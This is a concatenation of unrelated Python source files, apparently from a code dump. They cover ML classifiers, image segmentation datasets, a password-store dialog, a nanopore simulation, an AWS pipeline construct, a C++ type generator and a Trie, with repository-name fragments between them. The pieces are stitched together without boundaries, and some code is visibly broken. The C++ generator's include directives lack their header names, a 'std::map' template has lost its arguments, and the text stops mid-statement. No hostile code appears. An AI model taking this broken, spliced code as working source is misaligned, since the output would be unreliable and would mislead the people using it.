0 class slicing_function: """ When wrapped with this decorator, slicing functions only need to return an indicator for whether an individual example (bundle of attributes) belongs in that slice. Iterating through the dataset, making the pred array (and masking), etc. are all handled automatically. """ def __init__(self, fields=[]): self.fields = fields def __call__(self, f): @wraps(f) def wrapped_f(dataset): inds = [] preds = [] for idx in range(len(dataset)): example = SimpleNamespace( **{field: dataset.X_dict[field][idx] for field in self.fields} ) in_slice = f(example) if in_slice: ind = 1 pred = dataset.Y_dict["labels"][idx] else: ind = 2 pred = IGNORE_INDEX inds.append(ind) preds.append(pred) inds = torch.from_numpy(np.array(inds)).view(-1) preds = torch.from_numpy(np.array(preds)).view(-1) logger.info( f"Total {int((inds == 1).sum())} / {len(dataset)} examples are " f"in slice {f.__name__}" ) return inds, preds return wrapped_f 0 import sys import os import pandas as pd from sqlalchemy import create_engine import nltk import re import pickle from nltk.tokenize import word_tokenize from nltk.stem import WordNetLemmatizer from nltk.corpus import stopwords from sklearn.ensemble import RandomForestClassifier from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.multioutput import MultiOutputClassifier from sklearn.pipeline import Pipeline from scipy.stats import gmean # import relevant functions/modules from the sklearn from sklearn.pipeline import Pipeline, FeatureUnion from sklearn.model_selection import train_test_split from sklearn.metrics import classification_report, accuracy_score from sklearn.metrics import confusion_matrix from sklearn.metrics import fbeta_score, make_scorer from sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier, AdaBoostClassifier from sklearn.model_selection import GridSearchCV from sklearn.feature_extraction.text import TfidfTransformer, CountVectorizer from sklearn.multioutput import MultiOutputClassifier from sklearn.base import BaseEstimator,TransformerMixin nltk.download(['punkt', 'wordnet', 'stopwords', 'averaged_perceptron_tagger']) sys.path.insert(0, '..') from startverb import StartingVerbExtractor, tokenize def load_data(database_filepath): """ Load Data from the SQLlite Database and cleans before creating features, labels and category names. Arguments: database_filepath -> Path to SQLite destination database (e.g. disaster_response_db.db) Output: X -> a dataframe containing features Y -> a dataframe containing labels category_names -> List of categories name """ engine = create_engine('sqlite:///' + database_filepath) table_name = os.path.basename(database_filepath).replace(".db","") + "_table" df = pd.read_sql_table(table_name, engine) #df['related']=df['related'].map(lambda x: 1 if x == 2 else x) #Remove child alone as it has all zeros only df = df.drop(['child_alone'],axis=1) X = df['message'] y = df.drop(['message', 'genre', 'id', 'original'], axis=1) category_names = y.columns.tolist() return X, y, category_names def build_model(): ''' Build a ML pipeline using ifidf, random forest, and gridsearch Input: None Output: Results of GridSearchCV ''' pipeline = Pipeline([ ('features', FeatureUnion([ ('text_pipeline', Pipeline([ ('count_vectorizer', CountVectorizer(tokenizer=tokenize)), ('tfidf_transformer', TfidfTransformer()) ])), ('starting_verb_transformer', StartingVerbExtractor()) ])), ('classifier', MultiOutputClassifier(AdaBoostClassifier())) ]) parameters_grid = { 'classifier__estimator__learning_rate': [0.01, 0.05], 'classifier__estimator__n_estimators': [10, 40] } cv = GridSearchCV(pipeline, param_grid=parameters_grid , scoring='f1_micro', n_jobs=1) return cv def evaluate_model(model, X_test, Y_test, category_names): ''' Evaluate model performance using test data Input: model: Model to be evaluated X_test: Test data (features) Y_test: True lables for Test data category_names: Labels for 36 categories Output: Print accuracy and classfication report for each category ''' Y_pred = model.predict(X_test) # Calculate the accuracy for each of them. for i in range(len(category_names)): print("Category:", category_names[i],"\n", classification_report(Y_test.iloc[:, i].values, Y_pred[:, i])) print('Accuracy of %25s: %.2f' %(category_names[i], accuracy_score(Y_test.iloc[:, i].values, Y_pred[:,i]))) def save_model(model, model_filepath): ''' Save model as a pickle file Input: model: Model to be saved model_filepath: path of the output pick file Output: A pickle file of saved model ''' pickle.dump(model, open(model_filepath, "wb")) def main(): if len(sys.argv) == 3: database_filepath, model_filepath = sys.argv[1:] print('Loading data...\n DATABASE: {}'.format(database_filepath)) X, Y, category_names = load_data(database_filepath) X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2) print('Building model...') model = build_model() print('Training model...') model.fit(X_train, Y_train) print('Evaluating model...') evaluate_model(model, X_test, Y_test, category_names) print('Saving model...\n MODEL: {}'.format(model_filepath)) save_model(model, model_filepath) print('Trained model saved!') else: print('Please provide the filepath of the disaster messages database '\ 'as the first argument and the filepath of the pickle file to '\ 'save the model to as the second argument. \n\nExample: python '\ 'train_classifier.py ../data/DisasterResponse.db classifier.pkl') if __name__ == '__main__': main() """Look into Person Dataset""" import os import torch import random import numpy as np from PIL import Image, ImageOps, ImageFilter # from core.data.dataloader.segbase import SegmentationDataset import torch.utils.data as data class LIPSegmentation(data.Dataset): """Look into person parsing dataset """ BASE_DIR = 'LIP' NUM_CLASS = 20 def __init__(self, root=os.path.abspath('datasets/LIP'), split='train', mode=None, transform=None, base_size=520, crop_size=480, **kwargs): print("initialize LIPSegmantation dataset and path is",root) super(LIPSegmentation, self).__init__() self.mode = mode if mode is not None else split self.crop_size = crop_size self.base_size = base_size self.transform = transform _trainval_image_dir = os.path.join(root, 'TrainVal_images')#T _testing_image_dir = os.path.join(root, 'Testing_images') _trainval_mask_dir = os.path.join(root, 'TrainVal_parsing_annotations') if split == 'train': _image_dir = os.path.join(_trainval_image_dir, 'train_images') _mask_dir = os.path.join(_trainval_mask_dir, 'train_segmentations') _split_f = os.path.join(_trainval_image_dir, 'train_id.txt') elif split == 'val': _image_dir = os.path.join(_trainval_image_dir, 'val_images') _mask_dir = os.path.join(_trainval_mask_dir, 'val_segmentations') _split_f = os.path.join(_trainval_image_dir, 'val_id.txt') elif split == 'test': _image_dir = os.path.join(_testing_image_dir, 'testing_images') _split_f = os.path.join(_testing_image_dir, 'test_id.txt') else: raise RuntimeError('Unknown dataset split.') self.images = [] self.masks = [] with open(os.path.join(_split_f), 'r') as lines: for line in lines: _image = os.path.join(_image_dir, line.rstrip('\n') + '.jpg') assert os.path.isfile(_image) self.images.append(_image) if split != 'test': _mask = os.path.join(_mask_dir, line.rstrip('\n') + '.png') print("mask",_mask) assert os.path.isfile(_mask) self.masks.append(_mask) if split != 'test': assert (len(self.images) == len(self.masks)) print('Found {} {} images in the folder {}'.format(len(self.images), split, root)) def __getitem__(self, index): img = Image.open(self.images[index]).convert('RGB') if self.mode == 'test': img = self._img_transform(img) if self.transform is not None: img = self.transform(img) return img, os.path.basename(self.images[index]) mask = Image.open(self.masks[index]) # synchronized transform if self.mode == 'train': img, mask = self._sync_transform(img, mask) elif self.mode == 'val': img, mask = self._val_sync_transform(img, mask) else: assert self.mode == 'testval' img, mask = self._img_transform(img), self._mask_transform(mask) # general resize, normalize and toTensor if self.transform is not None: img = self.transform(img) return img, mask, os.path.basename(self.images[index]) def __len__(self): return len(self.images) def _mask_transform(self, mask): target = np.array(mask).astype('int32') return torch.from_numpy(target).long() @property def classes(self): """Category name.""" return ('background', 'hat', 'hair', 'glove', 'sunglasses', 'upperclothes', 'dress', 'coat', 'socks', 'pants', 'jumpsuits', 'scarf', 'skirt', 'face', 'leftArm', 'rightArm', 'leftLeg', 'rightLeg', 'leftShoe', 'rightShoe') @property def num_class(self): """Number of categories.""" return self.NUM_CLASS def _sync_transform(self, img, mask): # random mirror if random.random() < 0.5: img = img.transpose(Image.FLIP_LEFT_RIGHT) mask = mask.transpose(Image.FLIP_LEFT_RIGHT) crop_size = self.crop_size # random scale (short edge) short_size = random.randint(int(self.base_size * 0.5), int(self.base_size * 2.0)) w, h = img.size if h > w: ow = short_size oh = int(1.0 * h * ow / w) else: oh = short_size ow = int(1.0 * w * oh / h) img = img.resize((ow, oh), Image.BILINEAR) mask = mask.resize((ow, oh), Image.NEAREST) # pad crop if short_size < crop_size: padh = crop_size - oh if oh < crop_size else 0 padw = crop_size - ow if ow < crop_size else 0 img = ImageOps.expand(img, border=(0, 0, padw, padh), fill=0) mask = ImageOps.expand(mask, border=(0, 0, padw, padh), fill=0) # random crop crop_size w, h = img.size x1 = random.randint(0, w - crop_size) y1 = random.randint(0, h - crop_size) img = img.crop((x1, y1, x1 + crop_size, y1 + crop_size)) mask = mask.crop((x1, y1, x1 + crop_size, y1 + crop_size)) # gaussian blur as in PSP if random.random() < 0.5: img = img.filter(ImageFilter.GaussianBlur( radius=random.random())) # final transform img, mask = self._img_transform(img), self._mask_transform(mask) return img, mask def _img_transform(self, img): return np.array(img) if __name__ == '__main__': dataset = LIPSegmentation(base_size=280, crop_size=256) 1-10 from django import template register = template.Library() @register.simple_tag(name='history_diff') def history_diff(record): curr_record = record prev_record = record.prev_record if prev_record: delta = curr_record.diff_against(prev_record) return [c for c in delta.changes if c.field not in ['changed_by', 'assonance', 'assonance_rev', 'consonance', 'consonance_rev', 'lexeme_lang']] return [] eaudeweb/edw.djutils from .mixins import ProgressMixin 1-10 class Node(object): def __init__(self, value, next=None, previous=None): pass class LinkedList(object): def __init__(self): pass zem/passdialog #!/usr/bin/python3 # # Copyright 2019 1553A52AE25725279D8A499175E880E6DC59190F # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH # REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, # INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM # LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR # OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR # PERFORMANCE OF THIS SOFTWARE. # import locale from dialog import Dialog import os, fnmatch import re import time def grep(pattern,word_list): expr = re.compile('.*?'+pattern) return [elem for elem in word_list if expr.match(elem)] d=Dialog() #d.set_backgound_title("find a password entry") code, answer = d.inputbox("Input your query", width=(os.get_terminal_size().columns-30), init="" ) if (code != "ok"): print(code) exit(1) passdir=os.getenv("PASSWORD_STORE_DIR", os.getenv("HOME")+"/.password-store") os.chdir(passdir) # find password store entrys passwords=[] for root, dirs, files in os.walk("."): for name in files: if (fnmatch.fnmatch(name, "*.gpg")): f=os.path.join(root, name) f=f[2:] f=f[:-4] passwords.append(f) passwords.sort() i=1 choices=[] chdict={} for p in grep(answer, passwords): istr=str(i) item=istr[-1:]+"_"+istr choices.append((item, p)) chdict[item]=p i=i+1 if len(choices) == 0: d.infobox( "could not find any passwords matching '"+answer+"'", width=(os.get_terminal_size().columns-10), ) time.sleep(10) exit(0) code, answer = d.menu("Select remains", height=(os.get_terminal_size().lines-3), menu_height=(os.get_terminal_size().lines-8), width=(os.get_terminal_size().columns-4), choices=choices, clear=True ) if (code != "ok"): print(code) exit(1) # print(((" " * os.get_terminal_size().columns) + "\n") * os.get_terminal_size().lines) result=os.system("pass -c "+chdict[answer]) #print("\n" * int(os.get_terminal_size().lines / 2) ) if result != 0: time.sleep(10) exit(result); t=0 t_max=45 d.gauge_start(text=("Copied "+chdict[answer]+" to clipboard. This is the timeout!")) while t <= t_max: d.gauge_update(int((float(t)/float(t_max))*100)) t=t+1 time.sleep(1) d.gauge_stop() time.sleep(1) jhwnkim/nanopores from nanopores import * from dolfin import * geo_name = "H_geo" geo_params = {"x0":None} #import_vars("params_nice_2D") phys_params = {"bV": 0.1, "bulkcon":300, "dnaqsdamp":0.1} meshgen_dict = generate_mesh(1., geo_name, **geo_params) geo = geo_from_name(geo_name, **geo_params) #mesh = Mesh("/".join([DATADIR, geo_name, "mesh", "last_adapted_mesh.xml"])) #geo = geo_from_name(geo_name, mesh=mesh, **geo_params) print "Number of cells:",geo.mesh.num_cells() # plot(geo.indicator("solid"), title="geometry") # plot(geo.mesh, title="initial mesh") if geo.parameter("x0") is None: exec("from nanopores.geometries.%s.subdomains import synonymes" %geo_name) geo.import_synonymes({"moleculeb":set()}) geo.import_synonymes(synonymes) PNPS.imax = 16 PNPS.maxcells = 100e3 PNPS.marking_fraction = 0.5 PNPS.tolnewton = 1e-16 PNPS.alwaysstokes = True StokesProblemAxisym.method["iterative"] = False #PNPSProblemAxisym.method["iterative"] = True phys = Physics("pore_molecule", geo, **phys_params) pnps = PNPSAxisymNewton(geo, phys) #pnps = PNPSAxisym(geo, phys) pnps.solve(refinement=False, save_mesh=False, visualize=False) print phys pnps.print_results() for est in pnps.estimators.values(): print "\n%s estimator:\n" %est.name, est[:] est.newtonplot() # print "Convergence rates:\n",pnps.estimators["h1"].rates() # (v,cp,cm,u,p) = pnps.solutions() # submesh = pnps.geo.submesh("porecenter") # for f in {v,cp,cm,u}: # adaptfunction(f, submesh, assign=True) # Jp = (-D*grad(cp) - mu*cp*grad(v) + cp*u)[1] # plot(Jp) # list_timings() pnps.visualize() import resource reskB = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss print "resource consumption [MB]: ", reskB/1024. showplots() import sublime import sublime_plugin def getKey(id): return ''.join(["gtmark_", str(id)]) def indexIcon(index): return "Packages/{0}/icon/number_{1}.png".format(__package__, index) def totalCount(): return 16 class GotoTagCommand(sublime_plugin.TextCommand): def run(self, edit, func = '', tagId = 0): if func == 'goto': self.goto(tagId) elif func == 'tag': self.tag() elif func == 'clear': self.clearAll() def tag(self): count = totalCount() sels = self.view.sel() currentLine = None if sels and len(sels) >= 1: currentLine = self.view.line(sels[0]) else: return emptyKey = '' emptyIndex = 0 for i in range(count): key = getKey(i) regions = self.view.get_regions(key) if emptyKey == '' and len(regions) == 0: emptyKey = key emptyIndex = i if regions and len(regions) >= 1: if regions[0].intersects(currentLine): self.view.erase_regions(key) return if emptyKey: self.view.add_regions(emptyKey, [currentLine], "mark", indexIcon(emptyIndex+1), sublime.HIDDEN | sublime.PERSISTENT) def goto(self, tagId): key = getKey(tagId) regions = self.view.get_regions(key) if regions and len(regions) >= 0: self.view.show_at_center(regions[0]) def clearAll(self): count = totalCount() for i in range(count): self.view.erase_regions(getKey(i)) from piperoni.operators.base import BaseOperator from abc import abstractmethod from copy import deepcopy import pandas as pd """ This module implements the PassthroughOperator object. Operators are applied to inputs using the __call__ python API, which wraps the `transform` methods implemented for each Operator. Examples -------- Functionality of the PassthroughOperator:: opp = PassthroughOperator() input = "some data" output = opp(input) """ class PassthroughOperator(BaseOperator): """ Base operator for operations that should not modify the data and pass it through unchanged. """ def test_equals(self, input_, output_) -> bool: if isinstance(input_, pd.DataFrame): return input_.equals(output_) else: return input_ == output_ def error_message(self, input_, output_): return f"Output from passthrough operator changed from input {input_} -> {output_}" def __call__(self, *args, **kwargs) -> object: """Class instances emulate callable methods.""" # TODO: Is this a problem? input_ = deepcopy(args[0]) output_ = self.transform(*args, **kwargs) if not self.test_equals(input_, output_): raise RuntimeError(self.error_message(input_, output_)) return output_ # Copyright 2022 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import List, Optional from aws_cdk.aws_events import EventPattern, IRuleTarget, Rule from aws_ddk_core.pipelines.stage import Stage from constructs import Construct class Pipeline(Construct): """ Class that represents a data pipeline. Used to wire stages via Event Rules. For example: .. code-block:: python Pipeline(self, id, description="My pipeline") .add_stage(my_lambda_stage) .add_stage(my_glue_stage) """ def __init__( self, scope: Construct, id: str, name: Optional[str] = None, description: Optional[str] = None, ) -> None: """ Create a data pipeline. Parameters ---------- scope : Construct Scope within which this construct is defined id : str Identifier of the pipeline name : Optional[str] Name of the pipeline description : Optional[str] Description of the pipeline """ super().__init__(scope, f"{id}-pipeline") self.id: str = id self.name: Optional[str] = name self.description: Optional[str] = description self._prev_stage: Optional[Stage] = None self._rules: List[Rule] = [] def add_stage(self, stage: Stage, skip_rule: bool = False, override_rule: Optional[Rule] = None) -> "Pipeline": """ Add a stage to the data pipeline. By default, creates an Event Rule that matches output event pattern of the previous stage with targets of the next one. Parameters ---------- stage : Stage Stage instance skip_rule : bool Skip creation of the default rule override_rule : Optional[Rule] Override the default rule by the rule specified in this parameter Returns ------- pipeline : Pipeline Pipeline """ if override_rule: self.add_rule(override_rule=override_rule) elif self._prev_stage and not skip_rule: self.add_rule( id=f"{self.id}-{stage.id}-rule", event_pattern=self._prev_stage.get_event_pattern(), event_targets=stage.get_targets(), ) self._prev_stage = stage return self def add_rule( self, id: Optional[str] = None, event_pattern: Optional[EventPattern] = None, event_targets: Optional[List[IRuleTarget]] = None, override_rule: Optional[Rule] = None, ) -> "Pipeline": """ Create a rule that matches specificed event pattern with the specified target. Parameters ---------- id : Optional[str] Identifier of the rule event_pattern : Optional[EventPattern] Event pattern of the rule event_targets : Optional[List[IRuleTarget]] Target of the rule - usually previous_stage.get_targets() override_rule : Optional[Rule] Custom rule Returns ------- pipeline : Pipeline Pipeline """ self._rules.append( override_rule if override_rule else Rule( self, id, event_pattern=event_pattern, targets=event_targets, ) ) return self 0 import pandas as pd import numpy as np import networkx as nx from networkx.readwrite import json_graph #key package import json import simplejson data_path="C:/Users/Riley/Downloads/Databases" relation_file = data_path + "/ReactomePathwaysRelation.txt" #import realtion file infile= data_path + "/Sunburst/Rep1_MOB_info_raw.csv" #import matrix information file rel_df = pd.read_csv(relation_file, sep = "\t") outname = data_path + '/Sunburst' + '/Rep1_MOB_tree.json' #set up output file and path #before run this, make sure the version of reactome data keep same for both infile def sunburst(infile): """generate hierarchical json file""" in_df = pd.read_csv(infile, sep = "\t") in_df.set_index(in_df["pathways"], inplace=True) #set up 'pathways' colum as index in_df = in_df.loc[[x for x in in_df.index if 'HSA' in x]] topPaths = rel_df.loc[(rel_df['parentId'] == 'HomoSapiens'), 'id'] homoNgenes = np.sum(in_df.loc[[x in topPaths.tolist() for x in in_df["pathways"]],'ngenes']) homoNode = pd.DataFrame([["Homo Sapiens",1,homoNgenes]], columns = ["pathways", "explained_ratios", "ngenes"]).xs(0) homoNode.name = 'HomoSapiens' # add up HomoSapiens info into matrix file (info include:"pathways", "explained_ratios", "ngenes"), and set which as homenode in_df = in_df.append(homoNode) topDict = in_df.to_dict() #set up dictionary as the the key for node tree pathways = in_df["pathways"] subset_vec = [i in pathways for i in rel_df.iloc[:,0]] and [x in pathways for x in rel_df.iloc[:,1]] #filter the pathways in realtion file corelated to those pathways in matrix file. sub_rel_df = rel_df[subset_vec] #sub_rel_df.to_csv("test.csv", sep="\t") #can test if the filter works here G = nx.DiGraph() G.add_nodes_from(pathways) G.add_edges_from(sub_rel_df.values) tree = nx.algorithms.dag.dag_to_branching(G) secondDict = nx.get_node_attributes(tree,'source') #set up the value of second dictionary (hierarchical dictionary) thirdDict = {'explained_ratios':{}, 'ngenes':{}, 'description':{}} #set up the frame of third dictionary for key, value in secondDict.items(): thirdDict['explained_ratios'].update({key : topDict['explained_ratios'][value]}) #valuation third dictionary with the key value from top dictionary thirdDict['ngenes'].update({key : topDict['ngenes'][value]}) thirdDict['description'].update({key : topDict['pathways'][value]}) nx.set_node_attributes(tree, thirdDict['explained_ratios'], name = 'explained_ratios') nx.set_node_attributes(tree, thirdDict['ngenes'], name = 'ngenes') nx.set_node_attributes(tree, thirdDict['description'], name = 'description') root = [v for v, d in tree.in_degree() if d == 0][0] out_json = json_graph.tree_data(tree, root) with open(outname, 'w') as outfile: simplejson.dump(out_json,outfile,ignore_nan=True) #execute result= sunburst(infile) from celery import Celery from app.core import config celery_app = Celery("worker", broker=config.CELERY_BROKER, backend=config.CELERY_BACKEND,)Parquery/mapry """Generate the code that defines the types of the object graph.""" from typing import List, Optional, Set # pylint: disable=unused-import from icontract import ensure import mapry import mapry.cpp.generate import mapry.cpp.jinja2_env import mapry.indention @ensure(lambda result: not result.endswith('\n')) def _includes(graph: mapry.Graph, cpp: mapry.Cpp) -> str: """ Generate the include directives. :param graph: mapry definition of the object graph :param cpp: C++ settings :return: generated code """ # pylint: disable=too-many-branches # pylint: disable=too-many-statements stl_block = set() # type: Set[str] third_party_block = set() # type: Set[str] if mapry.needs_type(a_type=graph, query=mapry.Integer): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.String): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.Path): if cpp.path_as == 'std::filesystem::path': stl_block.add("#include ") elif cpp.path_as == "boost::filesystem::path": third_party_block.add("#include ") else: raise NotImplementedError( "Unhandled cpp.path_as: {!r}".format(cpp.path_as)) date_time_types = [mapry.Date, mapry.Time, mapry.Datetime] if cpp.datetime_library == 'ctime': for query_type in date_time_types: if mapry.needs_type(a_type=graph, query=query_type): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.TimeZone): stl_block.add("#include ") elif cpp.datetime_library == 'date.h': if any(mapry.needs_type(a_type=graph, query=query_type) for query_type in [mapry.Date, mapry.Time, mapry.Datetime]): third_party_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.Time): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.TimeZone): third_party_block.add("#include ") else: raise NotImplementedError( "Unhandled cpp.datetime_library: {!r}".format(cpp.datetime_library)) if mapry.needs_type(a_type=graph, query=mapry.Duration): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.Array): stl_block.add("#include ") if mapry.needs_type(a_type=graph, query=mapry.Map): stl_block.add("#include ") if graph.classes: stl_block.add("#include ") stl_block.add("#include ") stl_block.add("#include ") # Check for optional fields # yapf: disable has_optional = ( any(prop.optional for prop in graph.properties.values()) or any(prop.optional for cls in graph.classes.values() for prop in cls.properties.values()) or any(prop.optional for embed in graph.embeds.values() for prop in embed.properties.values())) # yapf: enable if has_optional: if cpp.optional_as == "boost::optional": third_party_block.add("#include ") elif cpp.optional_as == "std::optional": stl_block.add("#include ") elif cpp.optional_as == "std::experimental::optional": third_party_block.add("#include ") else: raise NotImplementedError( "Unhandled cpp.optional_as: {!r}".format(cpp.optional_as)) block_strs = [] # type: List[str] if len(third_party_block) > 0: block_strs.append('\n'.join(sorted(third_party_block))) if len(stl_block) > 0: block_strs.append('\n'.join(sorted(stl_block))) return '\n\n'.join(block_strs) _FORWARD_DECLARATIONS_TPL = mapry.cpp.jinja2_env.ENV.from_string( '''\ struct {{ graph.name|as_composite }}; {# Classes #} {% if graph.classes %} {% for cls in graph.classes.values() %} class {{ cls.name|as_composite }}; {% endfor %} {% endif %} {# Embeds #} {% if graph.embeds %} {% for embed in graph.embeds.values() %} struct {{ embed.name|as_composite }}; {% endfor %} {% endif %}''') @ensure(lambda result: not result.endswith('\n')) def _forward_declarations(graph: mapry.Graph) -> str: """ Generate the forward declarations of all the graph-specific types. :param graph: definition of the object graph :return: generated code """ return _FORWARD_DECLARATIONS_TPL.render(graph=graph).strip() @ensure(lambda result: result is None or not result.endswith('\n')) def _default_value(a_type: mapry.Type, cpp: mapry.Cpp) -> Optional[str]: """ Generate the default value for the given type of a property. :param a_type: a mapry type of a property. :param cpp: C++ settings :return: generated code representing the default value, None if no default value available """ # pylint: disable=too-many-return-statements # pylint: disable=too-many-branches if isinstance(a_type, mapry.Boolean): return "false" elif isinstance(a_type, mapry.Integer): return "0" elif isinstance(a_type, mapry.Float): return "0.0" elif isinstance(a_type, mapry.String): return None elif isinstance(a_type, mapry.Path): return None elif isinstance(a_type, mapry.Date): if cpp.datetime_library == 'ctime': return "tm{0}" elif cpp.datetime_library == 'date.h': return None else: raise NotImplementedError( "Unhandled datetime library: {}".format(cpp.datetime_library)) elif isinstance(a_type, mapry.Time): if cpp.datetime_library == 'ctime': return "tm{0}" elif cpp.datetime_library == 'date.h': return None else: raise NotImplementedError( "Unhandled datetime library: {}".format(cpp.datetime_library)) elif isinstance(a_type, mapry.Datetime): if cpp.datetime_library == 'ctime': return "tm{0}" elif cpp.datetime_library == 'date.h': return None else: raise NotImplementedError( "Unhandled datetime library: {}".format(cpp.datetime_library)) elif isinstance(a_type, mapry.TimeZone): if cpp.datetime_library == 'ctime': return None elif cpp.datetime_library == 'date.h': return 'nullptr' else: raise NotImplementedError( "Unhandled datetime library: {}".format(cpp.datetime_library)) elif isinstance(a_type, mapry.Duration): return None elif isinstance(a_type, mapry.Array): return None elif isinstance(a_type, mapry.Map): return None elif isinstance(a_type, mapry.Class): return "nullptr" elif isinstance(a_type, mapry.Embed): return None else: raise NotImplementedError( "Unhandled C++ default value of a type: {}".format(type(a_type))) @ensure(lambda result: not result.endswith('\n')) def _property_fields(composite: mapry.Composite, cpp: mapry.Cpp) -> str: """ Generate the code defining the property fields of a composite type. :param composite: type definition :param cpp: C++ settings :return: generated code """ blocks = [] # type: List[str] for prop in composite.properties.values(): block = [] # type: List[str] if prop.description: block.append(mapry.cpp.generate.comment(text=prop.description)) def_val = None # type: Optional[str] if prop.optional: non_optional_type = mapry.cpp.generate.type_repr( a_type=prop.type, cpp=cpp) if cpp.optional_as == "boost::optional": prop_type = "boost::optional<{}>".format(non_optional_type) elif cpp.optional_as == "std::optional": prop_type = "std::optional<{}>".format(non_optional_type) elif cpp.optional_as == "std::experimental::optional": prop_type = "std::experimental::optional<{}>".format( non_optional_type) else: raise NotImplementedError( "Unhandled cpp.optional_as: {!r}".format(cpp.optional_as)) else: prop_type = mapry.cpp.generate.type_repr(a_type=prop.type, cpp=cpp) def_val = _default_value(a_type=prop.type, cpp=cpp) if def_val is not None: block.append("{} {} = {};".format(prop_type, prop.name, def_val)) else: block.append("{} {};".format(prop_type, prop.name)) blocks.append('\n'.join(block)) return '\n\n'.join(blocks) _EMBED_DEFINITION_TPL = mapry.cpp.jinja2_env.ENV.from_string( '''\ {% if embed.description %} {{ embed.description|comment }} {% endif %} struct {{embed.name|as_composite}} { {% if property_fields %} {{ property_fields|indent }} {% endif %} }; ''') @ensure(lambda result: not result.endswith('\n')) def _embed_definition(embed: mapry.Embed, cpp: mapry.Cpp) -> str: """ Generate the code that defines the embeddable structure. :param embed: embeddable structure :param cpp: C++ settings :return: generated code """ return _EMBED_DEFINITION_TPL.render( embed=embed, property_fields=_property_fields(composite=embed, cpp=cpp)).strip() _CLASS_DEFINITION_TPL = mapry.cpp.jinja2_env.ENV.from_string( '''\ {% if cls.description %} {{ cls.description|comment }} {% endif %} class {{ cls.name|as_composite }} { public: // identifies the instance. std::string id; {% if property_fields %} {{ property_fields|indent }} {% endif %} }; ''') @ensure(lambda result: not result.endswith('\n')) def _class_definition(cls: mapry.Class, cpp: mapry.Cpp) -> str: """ Generate the code that defines the class. :param cls: class :param cpp: C++ settings :return: generated code """ return _CLASS_DEFINITION_TPL.render( cls=cls, property_fields=_property_fields(composite=cls, cpp=cpp)).strip() _GRAPH_DEFINITION_TPL = mapry.cpp.jinja2_env.ENV.from_string( '''\ {% if graph.description %} {{ graph.description|comment }} {% endif %} struct {{ graph.name|as_composite }} { {% if property_fields %} {{ property_fields|indent }} {% endif %} {% if graph.classes %} {% if property_fields %} {% endif %} {% for cls in graph.classes.values() %} {% if loop.index > 1 %} {% endif %} // registers {{ cls.name|as_composite }} instances. std::map> {{ cls.plural|as_field }}; {% endfor %} {% endif %} }; ''') @ensure(lambda result: not result.endswith('\n')) def _graph_definition(graph: mapry.Graph, cpp: mapry.Cpp) -> str: """ Generate the code that defines the object graph. :param graph: mapry definition of the object graph :param cpp: C++ settings :return: generated code """ return _GRAPH_DEFINITION_TPL.render( graph=graph, property_fields=_property_fields(composite=graph, cpp=cpp)).strip() @ensure(lambda result: result.endswith('\n')) def generate(graph: mapry.Graph, cpp: mapry.Cpp) -> str: """ Generate the header file that defines the types of the object graph. :param graph: definition of the object graph :param cpp: C++ settings :return: content of the header file """ blocks = [ "#pragma once", mapry.cpp.generate.WARNING, _includes(graph=graph, cpp=cpp) ] namespace_parts = cpp.namespace.split('::') if namespace_parts: # yapf: disable namespace_opening = '\n'.join( ['namespace {} {{'.format(namespace_part) for namespace_part in namespace_parts]) # yapf: enable blocks.append(namespace_opening) blocks.append(_forward_declarations(graph=graph)) for embed in graph.embeds.values(): blocks.append(_embed_definition(embed=embed, cpp=cpp)) for cls in graph.classes.values(): blocks.append(_class_definition(cls=cls, cpp=cpp)) blocks.append(_graph_definition(graph=graph, cpp=cpp)) if namespace_parts: # yapf: disable namespace_closing = '\n'.join( ['}} // namespace {}'.format(namespace_part) for namespace_part in reversed(namespace_parts)]) # yapf: enable blocks.append(namespace_closing) blocks.append(mapry.cpp.generate.WARNING) return mapry.indention.reindent( text='\n\n'.join(blocks) + '\n', indention=cpp.indention) from torch.utils.data import Dataset from torchvision.io import read_image from image_predict.module.image_transform import test_transform, train_transform class KivaDataset(Dataset): def __init__(self, image_path_list, loan_id_list=None, is_train=True): self._X = image_path_list self._y = loan_id_list self._is_train = is_train def __len__(self): return len(self._X) def __getitem__(self, idx): image_path = self._X[idx] image = read_image(image_path) if self._is_train: transform = train_transform() else: transform = test_transform() image = transform(image) if self._y is not None: target = self._y[idx] return image, target return image """Trie Datastructure.""" class Node(object): """ Node that holds data if the word is complete and. dictionary of all chaining letters. """ def __init__(self, data=None): """Initialize Node with dictionarys.""" self.data = data self.children = {} class Trie(object): """Trie, made up of insert, contains, size, and remove methods.""" def __init__(self): """Initialize trie.""" self.root = Node() self.num_words = 0 def insert(self, string): """Insert a new word into Trie.""" if not isinstance(string, str): raise TypeError('Input must be a string.') current = self.root for ind, letter in enumerate(string): if letter in current.children: current = current.children[letter] else: current.children[letter] = Node() current = current.children[letter] if ind == len(string) - 1: current.data = string self.num_words += 1 def contains(self, string): """Return True if string in Trie, else False.""" if not isinstance(string, str): raise TypeError('Input must be a string.') contains = False current = self.root for 